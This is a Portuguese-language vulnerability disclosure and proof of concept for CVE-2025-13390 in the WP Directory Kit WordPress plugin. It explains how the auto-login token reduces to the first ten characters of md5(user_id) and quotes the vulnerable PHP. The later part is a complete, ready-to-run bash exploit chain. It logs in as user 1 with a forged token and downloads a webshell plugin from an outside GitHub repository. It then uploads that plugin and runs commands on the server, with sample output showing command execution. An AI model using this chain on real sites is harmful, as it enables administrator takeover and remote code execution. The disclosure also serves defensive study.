
WP Directory Kit <= 1.4.4 - Bypass de Autenticação para Escalação de Privilégios via Assunção de Conta
O plugin WP Directory Kit para Wordpress versão 1.4.4 e anteriores contém um bypass de autenticação na sua funcionalidade de auto-login. A vulnerabilidade permite que atacantes não autenticados obtenham acesso administrativo a sites WordPress ao explorar um mecanismo de geração de token criptograficamente quebrado. O recurso de auto-login não pode ser desativado e usa um token previsível derivado exclusivamente do hash MD5 do ID do usuário.
O arquivo CVE-2025-13390.sh envia um plugin de web shell para o site alvo, assumindo que o ID de usuário 1 é um administrador.
./CVE-2025-13390.sh
[*] Step 1: Auto-login and save cookies...
[+] Auto-login successful
[*] Step 2: Getting nonce from plugin-install.php...
[+] Install Nonce: a2c0ae384b
[*] Step 3: Downloading plugin from GitHub...
[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)...
[+] Plugin repackaged
[*] Step 5: Uploading plugin...
[+] Plugin installed successfully
[*] Step 6: Testing webshell...
[*] Making request to: http://techcorp.cc/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id
[+] Webshell is accessible!
[+] Response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Cleanup complete
O plugin WP Directory Kit implementa um recurso de auto-login que permite aos usuários autenticarem-se sem inserir credenciais ao visitarem uma URL contendo os parâmetros user_id e token. Este recurso é destinado a cenários de login sem senha, como quando novos usuários são criados automaticamente e recebem links de login por e-mail.
A vulnerabilidade existe na lógica de geração e validação de token localizada em dois arquivos:
application/helpers/Basic.php:5132-5137):function wdk_generate_auto_login_link( $user_id = null ) {
$token = substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10);
$login_url = site_url( "/?auto-login=1&user_id={$user_id}&token={$token}" );
return $login_url;
}
actions.php:116-130):add_action( 'init', function () {
if (substr_count($_SERVER['REQUEST_URI'], 'auto-login') && isset( $_GET['user_id'], $_GET['token'] ) ) {
$user_id = (int) $_GET['user_id'];
$token = sanitize_text_field( $_GET['token'] );
if ( $token == substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10)) {
wp_set_auth_cookie( $user_id );
wp_redirect( home_url() );
exit;
} else {
wp_die( 'Wrong token.' );
}
}
});
A geração de token contém uma falha criptográfica crítica. O código tenta criar um token ao:
md5($user_id) - que produz uma string hexadecimal de 32 caracteresNONCE_KEY (uma constante do WordPress, tipicamente com 64 caracteres)'wpdirectorykit'substr(..., 0, 10)Como md5($user_id) tem 32 caracteres e a função extrai apenas os primeiros 10 caracteres, o token simplesmente se torna os primeiros 10 caracteres do hash md5.
substr(md5($user_id), 0, 10)
Por exemplo, para user_id = 1:
md5(1) = "c4ca4238a0b923820dcc509a6f75849b" (32 caracteres hexadecimais)substr(md5(1).NONCE_KEY.'wpdirectorykit', 0, 10) = "c4ca4238a0" (apenas os primeiros 10 caracteres do MD5)A constante NONCE_KEY, que tem a finalidade de fornecer segurança criptográfica, é completamente irrelevante porque aparece após os primeiros 10 caracteres do hash MD5.
Nota: Em instalações WordPress, o primeiro usuário criado (com user_id = 1) é quase sempre um administrador. Outros IDs de usuário administrativos podem ser enumerados e usados conforme necessário.
A funcionalidade de auto-login está codificada diretamente no arquivo actions.php do plugin e está sempre ativa quando o plugin está habilitado. Não há opção de configuração ou ajuste para desativar este recurso. Os links de auto-login são gerados e enviados em modelos de e-mail (veja application/views/email/new_user_auto_created.php:55), mas o endpoint em si está sempre acessível, independentemente das configurações de e-mail.
Quando um atacante envia uma requisição ao endpoint de auto-login com um token válido (por exemplo, /?auto-login=1&user_id=1&token=c4ca4238a0), o código vulnerável em actions.php:123 chama a função wp_set_auth_cookie() do WordPress. Essa função estabelece uma sessão autenticada ao definir cookies de autenticação do WordPress na resposta HTTP. Esses cookies incluem:
wordpress_logged_in_[hash] - Contém o ID do usuário e as informações de autenticaçãowordpress_[hash] - Contém o cookie de autenticação para a área administrativaUma vez que esses cookies são definidos, o navegador (ou script) do atacante é tratado como uma sessão autenticada para o usuário especificado.
Com esses cookies administrativos, o atacante pode instalar plugins maliciosos, criar usuários administrativos, e isso resulta no comprometimento total do site.
O script a seguir demonstra uma cadeia de ataque completa que explora a vulnerabilidade de auto-login para obter acesso administrativo e instalar um web shell:
#!/bin/bash
TARGET="https://examplesite.com"
echo "[*] Step 1: Auto-login and save cookies..."
curl -s -L -c /tmp/wdk_cookies.txt "$TARGET/?auto-login=1&user_id=1&token=c4ca4238a0" > /dev/null
echo "[+] Auto-login successful"
echo "[*] Step 2: Getting nonce from plugin-install.php..."
INSTALL_NONCE=$(curl -s -b /tmp/wdk_cookies.txt "$TARGET/wp-admin/plugin-install.php" | grep -oP 'name="_wpnonce" value="\K[^"]+' | head -1)
echo "[+] Install Nonce: $INSTALL_NONCE"
echo "[*] Step 3: Downloading plugin from GitHub..."
curl -s -L "https://github.com/XK3NF4/webshell-plugin-wordpress/archive/refs/heads/main.zip" -o /tmp/webshell_github.zip
echo "[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)..."
cd /tmp
unzip -q -o webshell_github.zip
# The GitHub ZIP has: webshell-plugin-wordpress-main/wp_webshell/
# WordPress needs: wp_webshell/ at the root
cd webshell-plugin-wordpress-main
zip -q -r /tmp/webshell.zip wp_webshell/
cd /tmp
rm -rf webshell-plugin-wordpress-main webshell_github.zip
echo "[+] Plugin repackaged"
echo "[*] Step 5: Uploading plugin..."
UPLOAD_RESPONSE=$(curl -s -L -b /tmp/wdk_cookies.txt -c /tmp/wdk_cookies.txt \
-F "_wpnonce=$INSTALL_NONCE" \
-F "pluginzip=@/tmp/webshell.zip" \
-F "install-plugin-submit=Install Now" \
"$TARGET/wp-admin/update.php?action=upload-plugin")
if echo "$UPLOAD_RESPONSE" | grep -qi "installed successfully\|Plugin installed"; then
echo "[+] Plugin installed successfully"
else
echo "[-] Installation may have failed. Checking response..."
echo "$UPLOAD_RESPONSE" | grep -i "error\|fail" | head -5
fi
echo "[*] Step 6: Testing webshell..."
WEBSHELL_URL="$TARGET/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id"
echo "[*] Making request to: $WEBSHELL_URL"
WEBSHELL_RESPONSE=$(curl -s "$WEBSHELL_URL")
if [ -n "$WEBSHELL_RESPONSE" ]; then
echo "[+] Webshell is accessible!"
echo "[+] Response:"
echo "$WEBSHELL_RESPONSE"
else
echo "[-] Webshell may not be accessible or returned empty response"
fi
# Cleanup
rm -f /tmp/webshell.zip
echo "[*] Cleanup complete"